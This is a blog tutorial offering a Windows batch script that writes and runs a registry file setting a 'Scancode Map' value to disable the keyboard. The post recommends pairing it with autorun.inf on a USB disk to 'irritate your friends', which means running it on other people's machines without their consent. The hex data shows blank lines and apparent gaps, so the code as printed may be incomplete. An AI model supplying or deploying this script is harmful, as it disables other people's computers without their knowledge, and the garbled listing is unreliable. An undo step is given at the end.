How To Disable The Keyboard Using Batch Script

Posted by in Articles, Batch Scripting

Yesterday one of the visitor of our blog, jose, asked,  “how to disable keyboard?”. And instantly I came up with this tutorial, how to disable the keyboard using batch script.

Just copy and paste the code below in notepad and save it as “anything.bat”. What it exactly does is modifies the registry value of keyboard layout of each keys and finally disabling all the keys.

@echo off
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"

echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"

echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"

echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg

This will disable the keyboard with no hard work. You can try above code to irritate your friends along with autorun.inf in your USB disk.

Hope this tutorial was helpful.

UPDATE: To disable this go to Start> Run and type regedit . This will open the registry editor. In the left tree explorer, navigate to following place:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout

Delete the Scancode Map key by simply using right click and delete.
